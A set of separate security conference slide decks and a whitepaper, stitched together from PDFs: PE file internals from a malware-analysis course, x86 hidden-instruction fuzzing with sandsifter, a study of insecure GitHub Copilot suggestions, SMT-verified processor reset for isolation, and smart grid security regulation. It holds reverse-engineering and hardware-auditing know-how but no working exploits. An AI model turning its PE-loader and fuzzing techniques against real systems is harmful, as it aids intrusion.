memory) and vice versa Raw 0x700 = RVA 0x2100 RVA 0x2400 -> invalid raw • RVA : Relative Virtual Address (without Image Base) • VA: absolute Virtual Address (with Image Base) Basics of a PE file: addresses • Raw addresses (in file) usually correspond to virtual addresses (in memory) and vice versa • However: • Some sections can be unpacked in memory and not filled in the file • Some addresses may not be mapped (present in the file, but not in the memory image) Basics of a PE file: addresses • Let’s open one of our sample PEs in PE-bear and see the section table • Try converting various addresses from Raw format to Virtual, follow and observe Exercise time... Basics of a PE file •The most information lies in data directories Basics of a PE file: Relocation •Relocation Table https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h Basics of a PE file: Relocation 1. PE comes with some default base address in the header 2. All the absolute addresses inside the PE assume that it was loaded at this base https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h Base Address = 400000 46E040 = 400000 + 6E040 Basics of a PE file: Relocation • In the past EXEs were usually loaded at their default base (only DLLs didn’t have to) • Nowadays most PEs load at a dynamic base (due to ASLR) • A flag in the header determines if a dynamic base will be used https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h DLL Characteristics: DLL can move Basics of a PE file: Relocation • If the PE was loaded at a different base than the one defined in the header, all its fields using absolute addresses must be recalculated (rebased) https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h 46E040 = 400000 + 6E040 32E040 = 2C0000 + 6E040 Load base = 2C0000 Basics of a PE file: Relocation •How does PE know where are the fields that needs to be rebased? https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h Basics of a PE file: Relocation •How does PE know where are the fields that needs to be rebased? •They are listed in the Relocation Table! https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h Basics of a PE file: Relocation •Let’s open one of our sample PEs in PE-bear and see the relocation table •Check the code snippet to see how the relocation table is processed https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/relocate.h Exercise time... Basics of a PE file: Imports & Exports Most executables use some functions exported by other modules (external libraries) 1. If we use a static library, the linker will automatically add the external code into our PE 2. If we use a dynamic library (DLL), the used functions will be listed in the Import Table of our PE, and dynamic linking will be done when the PE is loaded 3. Alternatively, we can load a DLL by ourselves using LoadLibrary and fetch the exported function via GetProcessAddress Basics of a PE file: Exports •Export Table https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets /export_lookup.h Basics of a PE file: Exports 1. DLLs are libraries of functions for other PEs to use 2. An Export Table is a catalogue allowing to find and use a particular function Basics of a PE file: Exports ...and the execution is redirected to the exported function We call a function from a DLL... Basics of a PE file: Exports 1. Functions can be exported by a name or by ordinal (a number) 2. Some exports can be forwarded (pointing to other functions, in other DLLs) Basics of a PE file: Exports • Forwarded functions Basics of a PE file: Imports •Import Table https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets /imports_load.h Basics of a PE file: Imports • Dynamic linking is done when a PE is loaded • The loader walks through the Import Table of the PE • loads needed DLLs • searches the imported functions in the export table of the DLL • fills the thunks via which the PE is going to make calls to the exported functions with appropriate addresses Basics of a PE file: Imports We call a function from a DLL... ...via thunk that was filled with the address of the exported function Basics of a PE file: Imports ...and the execution is redirected to the exported function We call a function from a DLL... Basics of a PE file: Imports • Raw: before filling imports https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets /imports_load.h Basics of a PE file: Imports • Loaded: after filling imports – thunks are filled with addresses of exported functions https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets /imports_load.h Basics of a PE file: Imports DLL Base + Function RVA Example: 768A0000 + 496FB = 768E96FB Basics of a PE file: Imports •Import Table: structure https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets /imports_load.h Basics of a PE file: Imports •Let’s open one of our sample PEs in PE-bear and see the import table. Find the corresponding DLLs and their exports. •Check the code snippets to see how the import and export tables are processed Exercise time... Exercise •Compile the given code of a custom PE loader and get familiar with it •https://github.com/hasherezade/malware_training_vol1/tree/ma in/exercises/module1/lesson2_pe Further readings... • MSDN documentation: • https://docs.microsoft.com/en-us/windows/win32/debug/pe-format • Classic articles about PE by Matt Pietrek: • https://bytepointer.com/resources/pietrek_in_depth_look_into_pe_format_pt1.htm - • https://bytepointer.com/resources/pietrek_in_depth_look_into_pe_format_pt2.htm • https://docs.microsoft.com/en-us/previous- versions/ms809762(v=msdn.10)?redirectedfrom=MSDN
pdf
{ Breaking the x86 ISA domas / @xoreaxeaxeax / DEF CON 2017 Christopher Domas Cyber Security Researcher @ Battelle Memorial Institute ./bio 8086: 1978 A long, tortured history… The x86 ISA Modes: Real (Unreal) Protected mode (Virtual 8086, SMM) Long mode (Compatibility, PAE) x86: evolution Instruction sets x86: evolution Modern x86 chips are a complex labyrinth of new and ancient technologies. Things get lost… 8086: 29,000 transistors Pentium: 3,000,000 transistors Braodwell: 3,200,000,000 transistors x86: evolution We don’t trust software. We audit it We reverse it We break it We sandbox it Trust. But the processor itself? We blindly trust Trust. Why? Hardware has all the same problems as software Secret functionality? Appendix H. Bugs? F00F, TSX, Hyperthreading. Vulnerabilities? SYSRET, cache poisoning, sinkhole Trust. We should stop blindly trusting our hardware. Trust. What do we need to worry about? Well known from software Examples Backdoors Hardware FPGAs Hypervisors Microcode Supply chain Backdoors Could a hidden instruction unlock your CPU? Hidden instructions Historical examples ICEBP apicall Hidden instructions Hidden instructions Traditional approaches: Leaked documentation Reverse engineering software NDA But what if it’s something stealthy? Hidden instructions Find out what’s really there Goal: Audit the Processor How to find hidden instructions? Approach Instructions can be one byte … inc eax 40 … or 15 bytes ... lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h 2e 67 f0 48 818480 23df067e 89abcdef Somewhere on the order of 1,329,227,995,784,915,872,903,807,060,280,344,576 possible instructions Approach https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki The obvious approaches don’t work: Try them all? Only works for RISC Try random instructions? Exceptionally poor coverage Guided based on documentation? Documentation can’t be trusted (that’s the point) Poor coverage of gaps in the search space Approach A depth-first-search algorithm (Overview) Tunneling Catch: requires knowing the instruction length Simple approach: trap flag Fails to resolve the length of faulting instructions Necessary to search privileged instructions: ring 0 only: mov cr0, eax ring -1 only: vmenter ring -2 only: rsm It’s hard to even auto-generate a successfully executing ring 3 instruction: mov eax, [random_number] Solution: page fault analysis Instruction lengths (Overview) Page Fault Analysis Trap flag Catch branching instructions Differentiate between fault types Cleanup Reduces search space from 1.3x1036 instructions to ~100,000,000 (one day of scanning) This gives us a way to search the instructions space. How do we make sense of the instructions we execute? Tunneling We need a “ground truth” Use a disassembler It was written based on the documentation Capstone Sifting Compare: Observed length of instruction vs. disassembled length of instruction Signal generated by instruction vs. expected signal Sifting sandsifter (Demo) sandsifter Hidden instructions Ubiquitous software bugs Hypervisor flaws Hardware bugs Results 0f0dxx Undocumented for non-/1 reg fields 0f18xx, 0f{1a-1f}xx Undocumented until December 2016 0fae{e9-ef, f1-f7, f9-ff} Undocumented for non-0 r/m fields until June 2014 dbe0, dbe1 df{c0-c7} f1 {c0-c1}{30-37, 70-77, b0-b7, f0-f7} {d0-d1}{30-37, 70-77, b0-b7, f0-f7} {d2-d3}{30-37, 70-77, b0-b7, f0-f7} f6 /1, f7 /1 Hidden instructions Catch: Undocumented instructions recognized by the disassembler are not found Hidden instructions Issue: Our “ground truth” (the disassembler) is also prone to errors Software bugs Every disassembler we tried as the “ground truth” was littered with bugs. Software bugs Most bugs only appear in a few tools, and are not especially interesting Some bugs appeared in all tools These can be used to an attacker’s advantage. Software bugs 66e9xxxxxxxx (jmp) 66e8xxxxxxxx (call) Software bugs 66 jmp Demo: IDA Visual Studio objdump QEMU Software bugs 66 jmp Why does everyone get this wrong? AMD designed the 64 bit architecture Intel adopted… most of it. Software bugs Issues when we can’t agree on a standard sysret bugs Either Intel or AMD is going to be vulnerable when there is a difference Complex architecture Tools cannot parse a jump instruction Software bugs Azure CPUID / Trap flag bug Hypervisor bugs Intel: f00f bug on Pentium AMD: Incorrect signals during decode Transmeta: 0f{71,72,73}xxxx Premature #GP0 signal during decode Hardware bugs Our processors are not doing what we think they are We need formal specifications We need auditing tools This is a start. Conclusions Sandsifter lets us introspect what is otherwise a black box Conclusions Open sourced: The sandsifter scanning tool github.com/xoreaxeaxeax/sandsifter Conclusions Use sandsifter to audit your processor Reveal the instructions it really supports Search for hardware errata Break disassemblers, emulators, and hypervisors Send us the results Conclusions github.com/xoreaxeaxeax sandsifter M/o/Vfuscator REpsych x86 0-day PoC Etc. Feedback? Ideas? domas @xoreaxeaxeax [email protected]
pdf
In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Presenters: Hammond Pearce (@kiwihammond) Benjamin Tan (@ichthys101) In collaboration with: Baleegh Ahmad, Brendan Dolan-Gavitt (@moyix), and Ramesh Karri In Need of 'Pair' Review: Vulnerable Code Contributions by GitHub Copilot #BHUSA @BlackHatEvents In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Early-career academics / curiosity-driven tomfoolery Hammond @kiwihammond Ben @ichthys101 $ whoamiarewe Ramesh Karri NYU Prof. Baleegh Ahmad NYU Ph.D. student @moyix Brendan Dolan-Gavitt NYU Asst. Prof The rest of our team NYU Research Asst. Prof UCalgary Asst. Prof Kiwis (Aotearoa/New Zealand) Interested in Hardware/Software Cybersecurity In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Naïve software development In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. June 29, 2021: Github Copilot Lands In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. What does this mean? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Embedded Video: https://youtu.be/vtSVNksJRMY In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Our story: An historical re-enactment Ben, I think Copilot is out to get me! I need help! and also data Hey Brendan… you know software security…? Let’s do some experiments and prove it Yes I am very secure and have 15,000 twitter followers It's lunch time not science time In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Science Time: How secure are Copilot’s outputs? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Today's talk 1. How do we test Copilot? 2. What did we find out? 3. Why does this matter and what can you do about it? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. How does it work under-the-hood? ● Copilot is a commercial version of GPT-3 fine-tuned over code Fine-Tune Train In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Prompt: (code, comments → tokens) public static void How does it "generate"? (simplified) Token Probability main 92% add 6% update 1% insert 0.1% { 0.1% \n 0.04% main Suggestions: In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Copilot (and other large language models) are probabilistic ● Observed good tendency for functional correctness ● But ‘correct’ code can be exploitable! ● Common Weakness Enumeration (CWEs) So what's the problem? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Experimental Framework Manual analysis does not scale! Note: Vulnerable != Exploitable Pair Copilot with static analysis - GitHub CodeQL! In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. 1. Diversity of Weakness: ○ What is the incidence rate of different types of vulnerability? 2. Diversity of Prompt: ○ Do changes to prompt change the rate of vulnerabilities? 3. Diversity of Domain: ○ Do these discoveries hold outside of the software domain? Three dimensions to investigate In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. 1. “Valid” ○ The number of suggestions returned by Copilot that can run 2. “Vulnerable” ○ The number of runnable suggestions containing the CWE 3. “Top Suggestion” ○ Was the “First” runnable suggestion (the one you see) safe? Metrics In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● 18 CWEs (7 excl.) x 3 scenarios per CWE ○ Complete the scenario: does the result contain a CWE? ○ Mix of Python and C ● 25 options requested ● Each program checked ○ only for the relevant CWE Diversity of Weakness (DOW) In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. CWE-787: Out of bounds Write CWE-787-0 Suggestion 0 Prompt: Valid: 19/25 | Vulnerable: 9 | Top prediction: Vulnerable In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. CWE-522: Insufficiently Protected Credentials CWE-522-0 Suggestion 0 Prompt: Valid: 20/25 | Vulnerable: 18 | Top prediction: Vulnerable In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. CWE-119 CWE-119-1 23 Valid, 15 Vln. Top: NV Suggestion 1 Suggestion 0 Improper Restriction of Operations within the Bounds of a Memory Buffer Valid: 24/25 | Vulnerable: 11 | Top prediction: Vulnerable In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● 54 scenarios for 18 CWEs, 24 (44.44%) vulnerable top answers ○ C: 13/25 (52.00%) vulnerable top answers ○ Python: 11/29 (37.93%) vulnerable top answers ● 1084 valid programs, 477 (44.00%) vulnerable ○ C: 258/513 (50.88%) vulnerable ○ Python: 219/571 (38.35%) vulnerable Diversity of Weakness (DOW) “C is harder to write securely than Python” ? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Common vulnerabilities ○ “C stuff”: ■ pointers, array lengths ○ “Sequence”-related errors / attention-based errors ■ Use after free ○ “Knowledge-based errors” ■ Tar-slip, bad hashing algorithm choices - MD5!! Diversity of Weakness (DOW) Consequences of probabilistic modeling? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● It’s not all bad news! ● Common successes: ○ Permissions and authorization generally good suggestions ○ Generally good “basic web” stuff - log in, log out, (some) file uploads ○ Cross-site scripting defenses Diversity of Weakness (DOW) In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Given CWE-89 (SQL Injection) scenario, ● Vary the prompt and see what happens ● We imagined 17 variations ○ Early foray into Prompt engineering Diversity of Prompt (DOP) - Overview In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Diversity of Prompt (DOP) - Overview Baseline Valid: 25/25 | Vulnerable: 6 | Top prediction: Safe In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Add a Python __author__ flag set to "Andrey Petrov" (of urllib3) ● Most popular 3rd party library ● Probably better vetted than others? Valid: 25/25 | Vulnerable: 4 | Top prediction: Safe Diversity of Prompt Example of vulnerable suggestion: In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Add a Python __author__ flag set to "Hammond Pearce" ● Has a handful of little-used open source contributions ● Otherwise, a rando… Valid: 24/25 | Vulnerable: 11 | Top prediction: Safe Diversity of Prompt Example of vulnerable suggestion: In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Use tabs instead of spaces throughout the file ● No idea of the balance in the open source world Valid: 25/25 | Vulnerable: 9 | Top prediction: Safe Diversity of Prompt Example of vulnerable suggestion: In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Substitute the word "delete" for "remove" in the comment Valid: 25 | Vulnerable: 9 | Top prediction: Vulnerable Diversity of Prompt In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Good and bad examples? Valid: 18/25 | Vulnerable: 0 | Top prediction: Safe In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Good and bad examples? Valid: 18/25 | Vulnerable: 17 | Top prediction: Vulnerable In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● 17 scenarios had 4 (25.53%) vulnerable top answers ○ Top answers generally safe! ● 407 programs, 152 (37.35%) vulnerable ● Copilot did not diverge much from "baseline" performance ● Notable exceptions with SQL examples ● Still, one comment change led Copilot astray Diversity of Prompt Findings In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Diversity of Domain? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Not all CWEs describe SW - “HW CWEs” added in 2020 ○ Adds additional dimensions (including timing) ● Tooling for HW CWEs is rudimentary compared to software ○ We manually checked all results ● Selected 6 different “straightforward” CWEs for 18 scenarios Diversity of Domain module VERILOG(...) E.g. reset logic, lock register bits, timing side channels… In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Examining CWE-1234 (Top suggestion) (13th suggestion) In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. HW design suggested by Copilot ✓ In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Oops! ● Synthesis tool detects Lock (+ control) signals are irrelevant ● Optimizes them out HW design suggested by Copilot ✗ In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Verilog is a struggle: “Like C” but not ● Semantic issues ○ Wire vs. reg type (students often struggle with this as well) ● “Handholding”: “Do this” (better) vs. “Implement a” (less) ● 18 scenarios, of which 7 (38.89%) had vulnerable top options ● 198 programs (designs), with 56 (28.28%) vulnerable Diversity of Domain Findings In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● Copilot responses can contain security vulnerabilities ○ 89 scenarios, 1689 programs; 39.33% of the top, 40.73% of the total ● Likely to stem from both the training data and model limitations ○ Bad GitHub open source repositories + passage of time ● Potential limitations: Small scenarios vs. large projects? ○ Real-world projects longer and more complex than tens of line scenarios Key Takeaways: By the Numbers In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. ● LLMs will transform software development (‘code writing’) ○ Suggestions make up > 30% of new [‘committed’] code in languages like Java and Python ○ "sticky": 50% of developers that have tried it keep using it ○ https://www.axios.com/copilot-artificial-intelligence-coding-github-9a202f40-9af7-4786-9dcb-b678683b360f.html ● Our code is buggy → LLMs produce bugs ● How much do you trust your devs (and processes) currently? Key Takeaways: Why should you care? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. A brave new world? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. GitHub: Where to from here? What should you do? In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Copilot should remain a Co-pilot In Need of 'Pair' Review - @kiwihammond, @ichthys101, and @moyix et al. Q & A Further reading: https://arxiv.org/abs/2108.09293 DOI: 10.1109/SP46214.2022.00057
pdf
Want strong isolation? Just reset your processor. How we can build more secure systems by applying the age-old wisdom of “turning it off and on again” Anish Athalye, Adam Belay, Frans Kaashoek, Robert Morris, Nickolai Zeldovich Security devices are increasingly common Smartphone apps Custom hardware 2 They are getting better Smaller TCB SMS 2FA Smartphone TOTP Hardware TOTP Smartphone U2F Hardware U2F Hardware Cryptocurrency wallet 3 Paradigm shift 2FA: More secure login on PC Transaction approval, Removes PC from TCB 4 Can we make the PC secure instead? 5 • Endless bugs: • Application bugs • OS bugs (kernels > 20M LOC) • Micro-architectural CPU bugs (Spectre, Meltdown, Foreshadow, Zombieload) • Hardware bugs (Rowhammer, RAMBleed) npm install event-stream https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident Transaction approval on simple devices 6 Remove PC from TCB Untrusted PC Trusted hardware (has private key) 7 TX Sign(TX) Remove PC from TCB 8 Not just cryptocurrencies 9 Before: confirm on PC After: must confirm on device, which signs transaction Not just cryptocurrencies 10 Transaction approval everywhere! ••• 11 Transaction approval everywhere! ••• 12 Sharing results in isolation bugs • Some past wallet bugs • Bad argument validation in syscalls • Bad configuration of MPU [Riscure @ Black Hat 2018; Ledger Blog; Trezor Blog] 13 USB SoC: CPU+RAM, Flash, Peripherals Buttons Display Security through physical separation 14 Simulating physical separation 15 Reset-based design 16 CPU RAM CPU RAM UART Flash Buttons Display USB Application core Management core Syscalls: exit() exit_state(state) Runs third-party code; has no persistent state Manages persistent state; never runs third-party code What needs to be reset? 17 CPU RAM CPU RAM UART Flash Buttons Display USB Application core Management core Purging state in a CPU, attempt #1 18 cut power Purging state in a CPU, attempt #2 19 reset! What does reset mean? 20 RISC-V Instruction Set Manual Purging state in a CPU, attempt #3 21 reset! + mov r0, #0 mov r1, #0 mov r2, #0 ... Architectural and micro-architectural state 22 Examples of architectural state vs micro-architectural state Minimizing complexity 23 Simpler processors have less micro-architectural state Purging state in a CPU, final attempt 24 reset! + mov r0, #0 mov r1, #0 mov r2, #0 ... // do things that end up // clearing internal state ... These instructions affect micro-architectural state } Check against CPU implementation How do we know that reset is correct? 25 Arbitrary state Reset / purge Purged state How do we know that reset is correct? 26 State (secret = 0) Reset / purge (Same) purged state State (secret = 1) Tool: Satisfiability Modulo Theories (SMT) 27 (x AND y) OR (NOT z) SAT: {x = False, y = False, z = False} (x AND y) AND ((NOT x) AND z) UNSAT SAT solvers SMT: SAT on steroids x: Int, y: Int x + y < 1 AND x + 1 = 3 AND y > 0 x: BitVec(8) x > 0 AND x + 1 < 0 UNSAT SAT: {x = 127} SMT solvers as theorem provers 28 Theorem: forall x, P(x) SAT => theorem is false A counterexample to our theorem: an x where NOT (P(x)) UNSAT => theorem is proven A proof that our theorem holds: because there is no x that makes NOT (P(x)) true, P(x) must hold for all x NOT (P(x)) Mechanical translation to SMT formula: strip foralls, negate proposition SMT solvers as theorem provers 29 Theorem: forall x y : Real, min(x, y) <= (x + y)/2 <= max(x, y) NOT [ min(x, y) <= (x + y)/2 <= max(x, y) ] >>> from z3 import * >>> x = Real('x'); y = Real('y'); s = Solver() >>> Min = z3.If(x < y, x, y) >>> Max = z3.If(x < y, y, x) >>> avg = (x + y)/2 >>> theorem = And(Min <= avg, avg <= Max) >>> s.add(Not(theorem)) >>> s.check() unsat Reset: theorem statement 30 forall s0 s1: CPU state, purge(s0) = purge(s1) Combinatorial circuits 31 Full adder Combinatorial circuits 32 Combinatorial circuits 33 Prove: a + b = b + a (when c_in is the same) Preconditions: a/b are swapped c_in is the same Negated theorem statement: result of adder is different Verified! Stateful circuits 34 Stateful circuits 35 Proof (attempt): as long as it’s not reset, count doesn’t decrease Preconditions: s1 steps to s2, counter is not reset Negated theorem statement: count decreases Concrete counterexample! Converting CPU implementation to SMT 36 Python / Z3 SMT model: Describes 1 cycle of CPU execution Verilog implementation: Gate-level design of CPU mechanical translation Symbolic simulation of the CPU 37 step s0 step s1 = step(s0) step s2 = step(s1) step s3 = step(s2) step s4 = step(s3) step s5 = step(s4) ... Proving reset correct 38 reset step step step step step ... reset step step step step step ... Any possible initial states Must converge to the same final state Interactive development of reset code 39 Write reset code Verifier UNSAT SAT “Concrete counterexample: state <X> is not cleared” Done! Demo (reset verification) 40 Demo (hardware) 46 Conclusion • Users: Start using transaction authorization devices • Developers: • Support factoring out approval decisions (see WebAuthn) • Steal our ideas • Use verification as a tool to improve security 49 Code: git.io/shiva
pdf
Hacking the Smart Grid Tony Flick FYRM Associates [email protected] Abstract The city of Miami and several commercial partners plan to rollout a “smart grid” citywide electrical infrastructure by the year 2011. This rollout was announced on the heels of news that foreign agents have infiltrated our existing electrical infrastructure and that recent penetration tests have uncovered numerous vulnerabilities in the proposed technologies. Simultaneously, the National Institute for Standards in Technology (“NIST”) has recently released a roadmap for producing smart grid standards. In this whitepaper, I will discuss the flaws with the current guidelines and map them to the criticisms of similar regulatory mandates, including the Payment Card Industry Data Security Standard (“PCI DSS”), that rely heavily on organizations policing themselves. What is the Smart Grid? The smart grid provides electricity from suppliers to consumers using digital technology. The proposed technology will allow suppliers to remotely monitor consumer usage as well as implement variable rates that increase and decrease during peak energy use times. Additionally, consumers will be able to monitor their energy use in real time, which could allow them to save money by conserving energy during peak energy use times. The major goals of the smart grid initiative are to increase efficiency, reliability, and safety of the country’s electrical infrastructure. Security Initiatives Every security-related document regarding the smart grid discusses and requires security to be integrated into the smart grid from the very beginning. This is a significant improvement over previous technology initiatives and shows that organizations and elected officials are beginning to understand at some level how to manage security in projects. The Energy Independence and Security Act of 2007 provided the Department of Energy with the responsibility of developing the smart grid program. The Department of Energy then assigned NIST the responsibility of developing a framework of interoperability, including security of the smart grid [1]. As a result, NIST has started the Smart Grid Interoperability Project to develop the framework [2] for the smart grid. Timeframes These initiatives, along with upcoming legislation on advancing the smart grid rollout, show the smart grid has received attention from the country’s elected officials. However, these initiatives cannot ensure that security is integrated from the beginning since utility companies have been rolling out smart grid components for the past several years. Below is a list of example security initiatives with their associated timeframe: • Energy Independence and Security Act of 2007 o Initial bill passed by the House of Representatives on January 18, 2007 o Final bill signed into law on December 18, 2007. [3] • Advanced Metering Infrastructure (AMI) System Security Requirements v1.01 o AMI-SEC Task Force formed on August 23, 2007 [4] o Released on December 17, 2008. [5] • NIST Smart Grid Interoperability Framework o Initial list of standards for inclusion in version 1.0 released on May 8, 2009. [2] • Critical Electric Infrastructure Protection Act (CEIPA) - (HR 2195) o Introduced April 30, 2009 [6]. Alternatively, smart grid design and implementations were initiated several years prior to these initiatives. For example, Austin Energy began designing and implementing their smart grid in 2002 [7] and the Salt River Project began installing smart meters in 2006 [8]. Although the security initiatives and elected officials have good intentions, they have missed the window of opportunity to truly integrate security from the beginning by several years. Similar to the credit card industry, banking industry, health care industry, and most industries that conduct business online, the next electrical infrastructure will have security featured as an add-on that is applied after the smart grid is implemented. History Repeating As of the writing of this white paper, NIST has released a draft framework for review that includes some of the proposed standards. While there are several security standards listed in the framework, NIST appears to be making the same mistakes of previous regulatory mandate governing bodies. For example, the PCI DSS standards have been criticized for not requiring sufficient security in environments that process cardholder data. This argument embodies the difference between compliant and secure. Specifically, one of the major criticisms is the “self policing” aspect of these standards. The credit card companies (American Express, Discover Financial Services, JCB International, MasterCard Worldwide, and Visa Inc.) are responsible for ensuring that relevant companies are compliant with the standards. If a company is deemed non-compliant, then the credit card companies issue what they consider to be the appropriate punishment. For merchants that do a certain amount of credit card transactions, PCI requires them to fill out a self-assessment questionnaire (“SAQ”), as opposed to an on-site assessment by an approved third party, to determine whether the merchant adheres to certain security controls. This approach relies on the “honor system” to ensure that companies are compliant with the PCI DSS. As a result, a company could potentially report inaccurate security controls in their SAQ. Similarly, a recent analysis by the North American Electric Reliability Corporation (“NERC”) reported, “many utilities are underreporting their critical cyber assets, potentially to avoid compliance requirements.” [9] These results show that the utilities should not be trusted to ensure that proper security is implemented. The new framework, to be released by NIST, will rely on “self policing” by the utility companies as well. Currently, there are no processes to ensure that utility companies adhere to the proposed standards released by NIST. As shown by previous incidents, the utility companies do not always follow the recommendations to mitigate vulnerabilities. For example, the Homeland Security Committee recently released that numerous utilities did not mitigate a vulnerability, known as Aurora. Despite advisories from both NERC and the Federal Energy Regulatory Commission (“FERC”), the utilities had not implemented the recommendations to mitigate the risk associated with this vulnerability. [9] The new standards also leave out critical details on how to implement the security requirements. As a result, energy companies and technology companies will need to determine how to implement the high level requirements. For example, authentication mechanisms are required for controlling access to devices. However, what authentication mechanisms should be used? Will the authentication be password based or PKI based? Should two-factor authentication be required? Will the utility companies have the resources necessary to implement strong authentication effectively? The answers to these questions will need to be addressed by the energy and technology companies implementing the smart grid. Counter Arguments When discussing tighter regulation or security, the arguments of innovation being stifled will inevitably arise. Security and regulation should not prevent innovation; however, the proper levels of security and regulation need to be in place. As previously discussed, without proper regulation, the utility companies may not maintain a proper security posture. Additionally, recent penetration tests have shown that proper security mechanisms are not currently built into components of the smart grid. Recently discovered vulnerabilities in smart meters have been identified that could allow an attacker to obtain complete control of the meters. Specifically, an attacker could exploit these vulnerabilities to turn off electricity to hundreds of thousands of home. [10] Thus, an attacker could execute a wide-scale Denial of Service (“DoS”) attack on the electrical infrastructure. These new vulnerabilities combined with the previously discussed issues that the industry faces provide the argument that tight regulation needs to be in place to ensure security is integrated into the smart grid. Recommendations Smart grid implementations have been rolled out in various cities across the United States as well as rest of the world for several years. The opportunity to integrate security into the smart grid from the very beginning has already passed; however, most of the implementations have been small. Before larger implementations, such as the smart grid rollout in Miami, the security frameworks and initiatives surrounding the smart grid technology should be allowed to mature. While NIST is the proper organization to issue the security requirements, more granular requirements need to be addressed. Technology companies should not be left to determine which authentication mechanism to implement or what encryption key size to use. NIST should be responsible for determining these requirements. In 2010, FERC is supposed to receive the authority to begin fining utility companies up to $1 million dollars a day for non-compliance with security standards. [11] While this will increase pressure on the utility companies to become compliant, a large portion of the smart grid will have been rolled out across the country already. As shown in the recent studies, these devices will not be compliant and utility companies will be forced to add security as a feature. As such, the current rollouts of smart grid technology should be suspended until all components are compliant with stringent security standards. The majority of discussion surrounding smart grid security has focused on what attackers could do to utility consumers. However, the risk to utility companies is just as severe. Utilizing the previously mentioned vulnerabilities [10], end-users could attempt to adjust the amount of electricity reported back to their utility company. Thus, end-users could be allowed to steal utilities, costing utility companies millions of dollars a year. As a result, the utility companies should adhere to the security recommendations to prevent loss of revenue. Conclusion Most experts attribute the current economic downturn to the deregulation of banks that allowed them to issue risky loans. When questioned by a congressional committee, the former Federal Reserve Chairman Alan Greenspan stated that he made a “mistake” [12] in trusting that free markets could regulate themselves without government oversight. Similarly, the utility and technology companies associated with the new electrical infrastructure should not be trusted to regulate themselves and strict oversight should be applied to ensure that these companies adhere to proper security standards. References [1] “Title XIII.” Energy Independence and Security Act of 2007. U.S. Government Printing Office. 14 Jun 2009. <http://frwebgate.access.gpo.gov/cgi- bin/getdoc.cgi?dbname=110_cong_bills&docid=f:h6enr.txt.pdf>. [2] Standards Identified for Inclusion in the Smart Grid Interoperability Standards Framework, Release 1.0. National Institute of Standards and Technology. <http://www.nist.gov/smartgrid/standards.html>. [3] “Energy Independence and Security Act of 2007.” 22 May 2009. Wikipedia. <http://en.wikipedia.org/wiki/Clean_Energy_Act_of_2007>. [4] Darren Reece Highfill. “UCAlug: AMI Security.” Sep 2008. 